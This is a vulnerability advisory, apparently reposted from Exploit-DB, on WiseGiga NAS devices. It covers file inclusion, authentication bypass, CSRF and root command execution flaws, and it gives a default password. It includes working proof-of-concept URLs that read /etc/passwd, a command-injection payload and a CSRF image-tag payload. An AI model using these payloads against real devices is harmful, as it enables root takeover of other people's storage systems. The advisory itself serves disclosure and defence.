WiseGiga NAS – Multiple Vulnerabilities

  • 作者: Pierre Kim
    日期: 2017-09-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42651/
  • Source: https://blogs.securiteam.com/index.php/archives/3402
    
    Vulnerabilities summary
    The following advisory describes five (5) vulnerabilities and default accounts / passwords found in WiseGiga NAS devices.
    
    WiseGiga is a Korean company selling NAS products.
    
    The vulnerabilities found in WiseGiga NAS are:
    
    Pre-Authentication Local File Inclusion (4 different vulnerabilities)
    Post-Authentication Local File Inclusion
    Remote Command Execution as root
    Remote Command Execution as root with CSRF
    Info Leak
    Default accounts
    
    
    Credit
    An independent security researcher, Pierre Kim, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
    
    
    Vendor response
    We tried to contact WiseGiga since June 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for these vulnerabilities.
    
    
    Vulnerabilities details
    
    Pre-Authentication Local File Inclusion
    User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).
    
    By sending GET request to the following URI’s with filename= as a parameter, an attacker can trigger the vulnerabilities:
    
    /webfolder/download_file1.php
    down_data.php
    download_file.php
    mobile/download_file1.php
    
    
    Proof of Concept
    http://IP/webfolder/download_file1.php?filename=/etc/passwd
    http://IP/down_data.php?filename=/etc/passwd
    http://IP/download_file.php?filename=base64(/etc/passwd)
    http://IP/mobile/download_file1.php?filename=base64(/etc/passwd)
    
    Post-Authentication Local File Inclusion
    User controlled input is not sufficiently sanitized and can be exploit by an attacker to get sensitive information (for example, passwords).
    
    By sending GET request to /mobile/download_file2.php an attacker can trigger the vulnerability.
    
    
    Proof of Concept
    http://IP//mobile/download_file2.php?filename=base64(/etc/passwd)
    
    
    Remote Command Execution as root
    The WiseGiga NAS firmware contain pre.php files in the different directories.
    
    For example:
    /app_data/apache/htdocs/auto/pre.php
    /app_data/apache/htdocs/admin/iframe/pre.php
    /app_data/apache/htdocs/admin/pre.php
    /app_data/apache/htdocs/mobile/pre.php
    /app_data/apache/htdocs/wiseapp/config/pre.php
    /app_data/apache/htdocs/pre.php
    /home/htdocs/webfolder/pre.php
    /ub/update/init/pre.php
    /tmp/home/root/htdocs/auto/pre.php
    /tmp/home/root/htdocs/pre.php
    
    
    A “standard” pre.php contains:
    
    181 [...]
    182 functionauth()
    183 { 
    184global $memberid;
    185session_start();
    186 //echo $memberid;
    187if($memberid=="root")
    188{
    189 // print<<<__DATA_OF_HTML__
    190 //<script language="JavaScript">
    191 //alert("sucess !");
    192 //</script>
    193 //__DATA_OF_HTML__;
    194}
    195else
    196{
    197 print<<<__DATA_OF_HTML__
    198 <script language="JavaScript">
    199 alert("\xc0\xce\xc1\xf5\xb9\xde\xc1\xf6 \xbe\xca\xc0\xba \xbb\xe7\xbf\xeb\xc0\xda\xc0\xd4\xb4\xcf\xb4\xd9!");
    200 //location.href='https://www.exploit-db.com/admin/';
    201 window.open('index.php','_parent');
    202 exit;
    203 </script>
    204 __DATA_OF_HTML__;
    205}
    206
    207 }
    
    
    Using global $memberid (line 184), the attacker can override the authentication, by specifying a valid user (“root”) inside the HTTP request:
    
    GET /webpage[...]?memberid=root&[...] HTTP/1.0
    
    
    The pre.php files also contains a function called root_exec_cmd() that is a wrapper to popen():
    
    23 function root_exec_cmd($cmd)
    24 {
    25 $tmpfile=fopen("/tmp/ramdisk/cmd.list","w");
    26 fwrite($tmpfile,$cmd);
    27 fclose($tmpfile);
    28 popen("/tmp/ramdisk/ramush","r");
    29 }
    
    By sending a GET request to root_exec_cmd() with user controlled $cmd variable input an attacker can execute arbitrary commands
    
    The WiseGiga NAS run’s the Apache server as root (uid=0 with gid=48 “apache”) hence the commands will execute as root.
    
    
    Proof of Concept
    By sending GET request to /admin/group.php with parameter ?cmd=add the WiseGiga NAS will call the add_system() function:
    
    178 if($cmd == "add")
    179 {
    180 add_system();
    181 }
    
    The add_system() function uses global for $group_name and $user_data.
    
    Then it will pass the user controlled input and will run it as root:
    
    145 function add_system()
    146 {
    147 global $group_name,$user_data;
    148
    149 if(add_conf()==1)
    150 {
    151 //====================================================================================
    152 root_exec_cmd("addgroup $group_name");
    
    
    An attacker can get unauthenticated RCE as root by sending the following request:
    
    http://IP/admin/group.php?memberid=root&cmd=add&group_name=d;id%20>%20/tmp/a
    
    The file /tmp/a will contain:
    
    uid=0(root) gid=48(apache) groups=48(apache)
    
    
    Remote Command Execution as root with CSRF
    There is no CSRF protection in WiseGiga NAS.
    
    An attacker can force the execution of a command as root when the victim visits the malicious website.
    
    
    Proof of Concept
    Once the victim visit the attacker’s website with the following code, the attacker can execute arbitrary commands.
    
    <img src="http://192.168.1.1/admin/group.php?memberid=root&cmd=add&group_name=d;COMMANDTOEXECUTE">
    
    
    InfoLeak
    accessing http://IP/webfolder/config/config.php will disclose the PHP configuration.
    
    
    Default accounts
    Username: guest
    Password: guest09#$